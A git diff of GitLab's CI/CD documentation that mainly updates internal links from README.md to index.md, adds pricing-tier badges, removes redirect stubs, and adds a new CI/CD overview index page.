+- [LaTeX (`LaTeX.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/LaTeX.gitlab-ci.yml)
+- [Maven (`Maven.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Maven.gitlab-ci.yml)
+- [Mono (`Mono.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Mono.gitlab-ci.yml)
+- [npm (`npm.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml)
+- [Node.js (`Nodejs.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Nodejs.gitlab-ci.yml)
+- [OpenShift (`OpenShift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/OpenShift.gitlab-ci.yml)
+- [Packer (`Packer.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Packer.gitlab-ci.yml)
+- [PHP (`PHP.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/PHP.gitlab-ci.yml)
+- [Python (`Python.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Python.gitlab-ci.yml)
+- [Ruby (`Ruby.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Ruby.gitlab-ci.yml)
+- [Rust (`Rust.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Rust.gitlab-ci.yml)
+- [Scala (`Scala.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Scala.gitlab-ci.yml)
+- [Swift (`Swift.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Swift.gitlab-ci.yml)
+- [Terraform (`Terraform.latest.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml)
+
+If a programming language or framework template is not in this list, you can contribute
+one. To create a template, submit a merge request
+to [the templates list](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+
+### Adding templates to your GitLab installation **(PREMIUM SELF)**
+
+You can add custom examples and templates to your self-managed GitLab instance.
+Your GitLab administrator can [designate an instance template repository](../../user/admin_area/settings/instance_template_repository.md)
+that contains examples and templates specific to your organization.
+
+## Other resources
+
+This section provides further resources to help you get familiar with various uses of GitLab CI/CD.
+Note that older articles and videos may not reflect the state of the latest GitLab release.
+
+### CI/CD in the cloud
+
+For examples of setting up GitLab CI/CD for cloud-based environments, see:
+
+- [How to set up multi-account AWS SAM deployments with GitLab CI](https://about.gitlab.com/blog/2019/02/04/multi-account-aws-sam-deployments-with-gitlab-ci/)
+- [Automating Kubernetes Deployments with GitLab CI/CD](https://www.youtube.com/watch?v=wEDRfAz6_Uw)
+- [How to autoscale continuous deployment with GitLab Runner on DigitalOcean](https://about.gitlab.com/blog/2018/06/19/autoscale-continuous-deployment-gitlab-runner-digital-ocean/)
+- [How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm](https://about.gitlab.com/blog/2017/09/21/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/)
+- [Demo - Deploying from GitLab to OpenShift Container Cluster](https://youtu.be/EwbhA53Jpp4)
+
+See also the following video overviews:
+
+- [Kubernetes, GitLab, and Cloud Native](https://www.youtube.com/watch?v=d-9awBxEbvQ).
+- [Deploying to IBM Cloud with GitLab CI/CD](https://www.youtube.com/watch?v=6ZF4vgKMd-g).
+
+### Customer stories
+
+For some customer experiences with GitLab CI/CD, see:
+
+- [How Verizon Connect reduced data center deploys from 30 days to under 8 hours with GitLab](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/)
+- [How Wag! cut their release process from 40 minutes to just 6](https://about.gitlab.com/blog/2019/01/16/wag-labs-blog-post/)
+- [How Jaguar Land Rover embraced CI to speed up their software lifecycle](https://about.gitlab.com/blog/2018/07/23/chris-hill-devops-enterprise-summit-talk/)
+
+### Getting started
+
+For some examples to help get you started, see:
+
+- [GitLab CI/CD's 2018 highlights](https://about.gitlab.com/blog/2019/01/21/gitlab-ci-cd-features-improvements/)
+- [A beginner's guide to continuous integration](https://about.gitlab.com/blog/2018/01/22/a-beginners-guide-to-continuous-integration/)
+
+### Implementing GitLab CI/CD
+
+For examples of others who have implemented GitLab CI/CD, see:
+
+- [How to streamline interactions between multiple repositories with multi-project pipelines](https://about.gitlab.com/blog/2018/10/31/use-multiproject-pipelines-with-gitlab-cicd/)
+- [How we used GitLab CI to build GitLab faster](https://about.gitlab.com/blog/2018/05/02/using-gitlab-ci-to-build-gitlab-faster/)
+- [Test all the things in GitLab CI with Docker by example](https://about.gitlab.com/blog/2018/02/05/test-all-the-things-gitlab-ci-docker-examples/)
+- [A Craftsman looks at continuous integration](https://about.gitlab.com/blog/2018/01/17/craftsman-looks-at-continuous-integration/)
+- [Go tools and GitLab: How to do continuous integration like a boss](https://about.gitlab.com/blog/2017/11/27/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss/)
+- [GitBot – automating boring Git operations with CI](https://about.gitlab.com/blog/2017/11/02/automating-boring-git-operations-gitlab-ci/)
+- [How to use GitLab CI for Vue.js](https://about.gitlab.com/blog/2017/09/12/vuejs-app-gitlab/)
+- Video: [GitLab CI/CD Deep Dive](https://youtu.be/pBe4t1CD8Fc?t=195)
+- [Dockerizing GitLab Review Apps](https://about.gitlab.com/blog/2017/07/11/dockerizing-review-apps/)
+- [Fast and natural continuous integration with GitLab CI](https://about.gitlab.com/blog/2017/05/22/fast-and-natural-continuous-integration-with-gitlab-ci/)
+- [Demo: CI/CD with GitLab in action](https://about.gitlab.com/blog/2017/03/13/ci-cd-demo/)
+
+### Migrating to GitLab from third-party CI tools
+
+- [Migrating from Jenkins to GitLab](https://youtu.be/RlEVGOpYF5Y)
+
+### Integrating GitLab CI/CD with other systems
+
+To see how you can integrate GitLab CI/CD with third-party systems, see:
+
+- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/)
+- [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/)
+- [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/)
+- [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/)
+
+### Mobile development
+
+For help with using GitLab CI/CD for mobile application development, see:
+
+- [How to publish Android apps to the Google Play Store with GitLab and fastlane](https://about.gitlab.com/blog/2019/01/28/android-publishing-with-gitlab-and-fastlane/)
+- [Setting up GitLab CI for Android projects](https://about.gitlab.com/blog/2018/10/24/setting-up-gitlab-ci-for-android-projects/)
+- [Working with YAML in GitLab CI from the Android perspective](https://about.gitlab.com/blog/2017/11/20/working-with-yaml-gitlab-ci-android/)
+- [How to use GitLab CI and MacStadium to build your macOS or iOS projects](https://about.gitlab.com/blog/2017/05/15/how-to-use-macstadium-and-gitlab-ci-to-build-your-macos-or-ios-projects/)
+- [Setting up GitLab CI for iOS projects](https://about.gitlab.com/blog/2016/03/10/setting-up-gitlab-ci-for-ios-projects/)
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index 5f08f2954f5..c511839b3e4 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -11,7 +11,7 @@ date: 2017-08-31
<!-- vale off -->
-# Test and deploy Laravel applications with GitLab CI/CD and Envoy
+# Test and deploy Laravel applications with GitLab CI/CD and Envoy **(FREE)**
## Introduction
@@ -106,7 +106,7 @@ sudo apt install acl
### Add SSH key
-Let's suppose we want to deploy our app to the production server from a private repository on GitLab. First, we need to [generate a new SSH key pair **with no passphrase**](../../../ssh/README.md) for the deployer user.
+Let's suppose we want to deploy our app to the production server from a private repository on GitLab. First, we need to [generate a new SSH key pair **with no passphrase**](../../../ssh/index.md) for the deployer user.
After that, we need to copy the private key, which will be used to connect to our server as the deployer user with SSH, to be able to automate our deployment process:
@@ -119,7 +119,7 @@ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa
```
-Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/README.md).
+Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/index.md).
Project CI/CD variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes.
They can be added per project by navigating to the project's **Settings** > **CI/CD**.
@@ -530,7 +530,7 @@ That's a lot to take in, isn't it? Let's run through it step by step.
#### Image and Services
-[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`.
+[Runners](../../runners/index.md) run the script defined by `.gitlab-ci.yml`.
The `image` keyword tells the runners which image to use.
The `services` keyword defines additional images [that are linked to the main image](../../services/index.md).
Here we use the container image we created before as our main image and also use MySQL 5.7 as a service.
@@ -548,7 +548,7 @@ If you wish to test your app with different PHP versions and [database managemen
#### CI/CD variables
-GitLab CI/CD allows us to use [CI/CD variables](../../yaml/README.md#variables) in our jobs.
+GitLab CI/CD allows us to use [CI/CD variables](../../yaml/index.md#variables) in our jobs.
We defined MySQL as our database management system, which comes with a superuser root created by default.
So we should adjust the configuration of MySQL instance by defining `MYSQL_DATABASE` variable as our database name and `MYSQL_ROOT_PASSWORD` variable as the password of `root`.
@@ -567,7 +567,7 @@ variables:
#### Unit Test as the first job
-We defined the required shell scripts as an array of the [script](../../yaml/README.md#script) keyword to be executed when running `unit_test` job.
+We defined the required shell scripts as an array of the [script](../../yaml/index.md#script) keyword to be executed when running `unit_test` job.
These scripts are some Artisan commands to prepare the Laravel, and, at the end of the script, we'll run the tests by `PHPUnit`.
@@ -593,7 +593,7 @@ To deploy our app with Envoy, we had to set up the `$SSH_PRIVATE_KEY` variable a
If the SSH keys have added successfully, we can run Envoy.
As mentioned before, GitLab supports [Continuous Delivery](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#continuous-delivery) methods as well.
-The [environment](../../yaml/README.md#environment) keyword tells GitLab that this job deploys to the `production` environment.
+The [environment](../../yaml/index.md#environment) keyword tells GitLab that this job deploys to the `production` environment.
The `url` keyword is used to generate a link to our application on the GitLab Environments page.
The `only` keyword tells GitLab CI/CD that the job should be executed only when the pipeline is building the `main` branch.
Lastly, `when: manual` is used to turn the job from running automatically to a manual action.
diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md
index fc639b19ca0..666c4d444d8 100644
--- a/doc/ci/examples/php.md
+++ b/doc/ci/examples/php.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: tutorial
---
-# Testing PHP projects
+# Testing PHP projects **(FREE)**
This guide covers basic building instructions for PHP projects.
@@ -25,9 +25,9 @@ things manually.
As with every job, you need to create a valid `.gitlab-ci.yml` describing the
build environment.
-Let's first specify the PHP image that is used for the job process
-(you can read more about what an image means in the runner's lingo reading
-about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)).
+Let's first specify the PHP image that is used for the job process.
+(You can read more about what an image means in the runner's lingo reading
+about [Using Docker images](../docker/using_docker_images.md#what-is-an-image).)
Start by adding the image to your `.gitlab-ci.yml`:
@@ -270,7 +270,7 @@ gitlab-runner exec shell test:app
We have set up an [Example PHP Project](https://gitlab.com/gitlab-examples/php) for your convenience
that runs on [GitLab.com](https://gitlab.com) using our publicly available
-[shared runners](../runners/README.md).
+[shared runners](../runners/index.md).
Want to hack on it? Simply fork it, commit, and push your changes. Within a few
moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md
index 28a0080626a..e7b9b9b51ad 100644
--- a/doc/ci/examples/semantic-release.md
+++ b/doc/ci/examples/semantic-release.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Publish npm packages to the GitLab Package Registry using semantic-release
+# Publish npm packages to the GitLab Package Registry using semantic-release **(FREE)**
This guide demonstrates how to automatically publish npm packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release).
diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
deleted file mode 100644
index 94cfb8c1c58..00000000000
--- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'README.md#contributed-examples'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](README.md#contributed-examples).
-
-<!-- This redirect file can be deleted after 2021-06-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
deleted file mode 100644
index 94cfb8c1c58..00000000000
--- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'README.md#contributed-examples'
-remove_date: '2021-06-01'
----
-
-This document was moved to [another location](README.md#contributed-examples).
-
-<!-- This redirect file can be deleted after 2021-06-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md
deleted file mode 100644
index cb4040212ad..00000000000
--- a/doc/ci/examples/test-clojure-application.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'README.md#contributed-examples'
-remove_date: '2021-05-26'
----
-
-This document was moved to [another location](README.md#contributed-examples).
-
-<!-- This redirect file can be deleted after 2021-05-26. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md
index f0ea5ed582c..0df653acca4 100644
--- a/doc/ci/git_submodules.md
+++ b/doc/ci/git_submodules.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Using Git submodules with GitLab CI/CD
+# Using Git submodules with GitLab CI/CD **(FREE)**
Use [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules) to keep
a Git repository as a subdirectory of another Git repository. You can clone another
diff --git a/doc/ci/index.md b/doc/ci/index.md
new file mode 100644
index 00000000000..593f50d4ffd
--- /dev/null
+++ b/doc/ci/index.md
@@ -0,0 +1,186 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+comments: false
+description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application."
+type: index
+---
+
+# GitLab CI/CD **(FREE)**
+
+GitLab CI/CD is a tool built into GitLab for software development
+through the [continuous methodologies](introduction/index.md):
+
+- Continuous Integration (CI)
+- Continuous Delivery (CD)
+- Continuous Deployment (CD)
+
+NOTE:
+Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more.
+Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
+webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development.
+
+Continuous Integration works by pushing small code chunks to your
+application's codebase hosted in a Git repository, and to every
+push, run a pipeline of scripts to build, test, and validate the
+code changes before merging them into the main branch.
+
+Continuous Delivery and Deployment consist of a step further CI,
+deploying your application to production at every
+push to the default branch of the repository.
+
+These methodologies allow you to catch bugs and errors early in
+the development cycle, ensuring that all the code deployed to
+production complies with the code standards you established for
+your app.
+
+GitLab can also automatically detect, build, test, deploy, and
+monitor your applications by using [Auto DevOps](../topics/autodevops/index.md).
+
+For a complete overview of these methodologies and GitLab CI/CD,
+read the [Introduction to CI/CD with GitLab](introduction/index.md).
+
+<div class="video-fallback">
+ Video demonstration of GitLab CI/CD: <a href="https://www.youtube.com/watch?v=1iXFbchozdY">Demo: CI/CD with GitLab</a>.
+</div>
+<figure class="video-container">
+ <iframe src="https://www.youtube.com/embed/1iXFbchozdY" frameborder="0" allowfullscreen="true"> </iframe>
+</figure>
+
+## Concepts
+
+GitLab CI/CD uses a number of concepts to describe and run your build and deploy.
+
+| Concept | Description |
+|:--------------------------------------------------------|:-------------------------------------------------------------------------------|
+| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. |
+| [CI/CD variables](variables/index.md) | Reuse values based on a variable/value key pair. |
+| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). |
+| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. |
+| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
+| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. |
+| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. |
+| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> |
+
+## Configuration
+
+GitLab CI/CD supports numerous configuration options:
+
+| Configuration | Description |
+|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------|
+| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. |
+| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#specify-a-custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. |
+| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. |
+| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. |
+| [Pipeline triggers](triggers/index.md) | Trigger pipelines through the API. |
+| [Pipelines for Merge Requests](pipelines/merge_request_pipelines.md) | Design a pipeline structure for running a pipeline in merge requests. |
+| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. |
+| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. |
+| [`.gitlab-ci.yml` full reference](yaml/index.md) | All the attributes you can use with GitLab CI/CD. |
+
+Note that certain operations can only be performed according to the
+[user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions.
+
+## Feature set
+
+Use the vast GitLab CI/CD to easily configure it for specific purposes.
+Its feature set is listed on the table below according to DevOps stages.
+
+| Feature | Description |
+|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------|
+| **Configure** | |
+| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. |
+| [ChatOps](chatops/index.md) | Trigger CI jobs from chat, with results sent back to the channel. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Verify** | |
+| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. |
+| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. |
+| [CI services](services/index.md) | Link Docker containers with your base image. |
+| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. |
+| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. |
+| [Interactive Web Terminals](interactive_web_terminal/index.md) **(FREE SELF)** | Open an interactive web terminal to debug the running jobs. |
+| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. |
+| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Release** | |
+| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. |
+| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. |
+| [Canary Deployments](../user/project/canary_deployments.md) | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. |
+| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. |
+| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. |
+| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. |
+| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. |
+| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. |
+| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Secure** | |
+| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. |
+| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
+| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. |
+| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. |
+
+## Examples
+
+Find example project code and tutorials for using GitLab CI/CD with a variety of app frameworks, languages, and platforms
+on the [CI Examples](examples/README.md) page.
+
+## Administration **(FREE SELF)**
+
+As a GitLab administrator, you can change the default behavior
+of GitLab CI/CD for:
+
+- An [entire GitLab instance](../user/admin_area/settings/continuous_integration.md).
+- Specific projects, using [pipelines settings](pipelines/settings.md).
+
+See also:
+
+- [How to enable or disable GitLab CI/CD](enable_or_disable_ci.md).
+- Other [CI administration settings](../administration/index.md#continuous-integration-settings).
+
+## References
+
+### Why GitLab CI/CD?
+
+Learn more about:
+
+- [Why you might choose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/).
+- [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/).
+- [5 Teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/)
+
+See also the [Why CI/CD?](https://docs.google.com/presentation/d/1OGgk2Tcxbpl7DJaIOzCX4Vqg3dlwfELC3u2jEeCBbDk) presentation.
+
+### Breaking changes
+
+As GitLab CI/CD has evolved, certain breaking changes have
+been necessary. These are:
+
+#### 13.0
+
+- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915).
+- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158).
+- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466).
+- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361).
+- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922).
+- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404).
+- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180).
+- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581).
+- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553).
+
+#### 12.0
+
+- [Use `refspec` to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069).
+- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070).
+- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072).
+- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073).
+- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130).
+- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013).
+- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175).
+
+#### 11.0
+
+- No breaking changes.
+
+#### 10.0
+
+- No breaking changes.
diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md
index cbf92438488..46abcf4a21d 100644
--- a/doc/ci/interactive_web_terminal/index.md
+++ b/doc/ci/interactive_web_terminal/index.md
@@ -16,7 +16,7 @@ is deployed, some [security precautions](../../administration/integration/termin
taken to protect the users.
NOTE:
-[Shared runners on GitLab.com](../runners/README.md) do not
+[Shared runners on GitLab.com](../runners/index.md) do not
provide an interactive web terminal. Follow [this
issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on
adding support. For groups and projects hosted on GitLab.com, interactive web
diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md
index 780c5cd7762..add47c95051 100644
--- a/doc/ci/introduction/index.md
+++ b/doc/ci/introduction/index.md
@@ -26,7 +26,7 @@ Watch our ["Mastering continuous software development"](https://about.gitlab.com
webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development.
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE).
-> - [Make the case for CI/CD in your organization](https://about.gitlab.com/compare/github-actions-alternative/).
+> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/).
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/)
> from 30 days to under 8 hours with GitLab.
diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md
index 7a57d8abf0d..3fe30c78d6a 100644
--- a/doc/ci/jobs/index.md
+++ b/doc/ci/jobs/index.md
@@ -4,14 +4,14 @@ group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Jobs
+# Jobs **(FREE)**
Pipeline configuration begins with jobs. Jobs are the most fundamental element of a `.gitlab-ci.yml` file.
Jobs are:
- Defined with constraints stating under what conditions they should be executed.
-- Top-level elements with an arbitrary name and must contain at least the [`script`](../yaml/README.md#script) clause.
+- Top-level elements with an arbitrary name and must contain at least the [`script`](../yaml/index.md#script) clause.
- Not limited in how many can be defined.
For example:
@@ -29,7 +29,7 @@ jobs, where each of the jobs executes a different command.
Of course a command can execute code directly (`./configure;make;make install`)
or run a script (`test.sh`) in the repository.
-Jobs are picked up by [runners](../runners/README.md) and executed in the
+Jobs are picked up by [runners](../runners/index.md) and executed in the
environment of the runner. What is important is that each job is run
independently from each other.
@@ -101,7 +101,7 @@ jobs. Click to expand them.
![Grouped pipelines](img/pipelines_grouped.png)
-To create a group of jobs, in the [CI/CD pipeline configuration file](../yaml/README.md),
+To create a group of jobs, in the [CI/CD pipeline configuration file](../yaml/index.md),
separate each job name with a number and one of the following:
- A slash (`/`), for example, `test 1/3`, `test 2/3`, `test 3/3`.
@@ -157,9 +157,9 @@ additional variables. To access this page, click on the **name** of the manual j
the pipeline view, *not* the play (**{play}**) button.
This is useful when you want to alter the execution of a job that uses
-[custom CI/CD variables](../variables/README.md#custom-cicd-variables).
+[custom CI/CD variables](../variables/index.md#custom-cicd-variables).
Add a variable name (key) and value here to override the value defined in
-[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables),
+[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables),
for a single run of the manual job.
![Manual job variables](img/manual_job_variables_v13_10.png)
@@ -168,7 +168,7 @@ for a single run of the manual job.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/21767) in GitLab 11.4.
-When you do not want to run a job immediately, you can use the [`when:delayed`](../yaml/README.md#whendelayed) keyword to
+When you do not want to run a job immediately, you can use the [`when:delayed`](../yaml/index.md#whendelayed) keyword to
delay a job's execution for a certain period.
This is especially useful for timed incremental rollout where new code is rolled out gradually.
diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md
index d7e192bbfda..634214aedc3 100644
--- a/doc/ci/jobs/job_control.md
+++ b/doc/ci/jobs/job_control.md
@@ -12,22 +12,22 @@ the status of variables, the pipeline type, and so on.
To configure a job to be included or excluded from certain pipelines, you can use:
-- [`rules`](../yaml/README.md#rules)
-- [`only`](../yaml/README.md#only--except)
-- [`except`](../yaml/README.md#only--except)
+- [`rules`](../yaml/index.md#rules)
+- [`only`](../yaml/index.md#only--except)
+- [`except`](../yaml/index.md#only--except)
-Use [`needs`](../yaml/README.md#needs) to configure a job to run as soon as the
+Use [`needs`](../yaml/index.md#needs) to configure a job to run as soon as the
earlier jobs it depends on finish running.
## Specify when jobs run with `rules`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
